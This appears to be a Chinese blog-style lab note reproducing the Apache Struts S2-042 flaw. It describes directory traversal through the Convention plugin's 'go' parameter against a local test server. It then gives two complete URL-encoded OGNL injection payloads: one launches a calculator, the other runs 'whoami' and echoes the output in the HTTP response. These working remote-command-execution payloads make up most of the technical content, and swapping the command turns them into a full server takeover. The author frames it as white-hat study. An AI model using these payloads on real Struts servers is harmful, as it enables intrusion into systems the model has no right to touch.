Struts-s2-042
此文僅供大家交流學習,嚴禁非法使用
一、參考網址:
http://www.freebuf.com/vuls/120451.html
二、 影響版本:
Struts 2.3.20 - Struts 2.3.31
三、 漏洞介紹:
Convention是慣例的意思。在進行struts2開發時,需要在配置文件(struts.xml)中寫一個個action,和對應返回結果的result(可以理解為前端返回的jsp文件)。
但是,寫的action多了,配置起來就顯得特別繁瑣了。struts2 Convention插件可以完全拋棄配置,也就是約定優于配置
通過這個插件來實現目錄的遍歷
四、 環境搭建:
使用參考網址博主已經搭好的環境
鏈接:
http://pan.baidu.com/s/1bULv2m 密碼:xkta
訪問http://127.0.0.1:8080/struts2/content/go?go=admin
1.png
出現訪問頁面,訪問上一級的hack.jsp
訪問:http://127.0.0.1:8080/struts2/content/go?go=../hack
2.png
通過這樣實現遍歷,但不能實現任意文件讀取,因為有文件類型限制
五、 POC:
%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin
六、 測試網址:
修改后網址為
http://127.0.0.1:8080/struts2/content/go?go=%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin
七、執行結果
成功彈出本地計算器
八、回顯測試
想要命令回顯的話,修改一下POC
%24%7B%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%7D%2f..%2fadmin
執行結果,彈出下載,打開。
3.png
九、 至此,該漏洞基本利用完畢
本人還是一個未畢業的小萌新,希望大家多多幫助,有問題請發送郵件到xrzsupupup@163.com不勝感激,我也會盡量去幫助大家
堅決做一名白帽子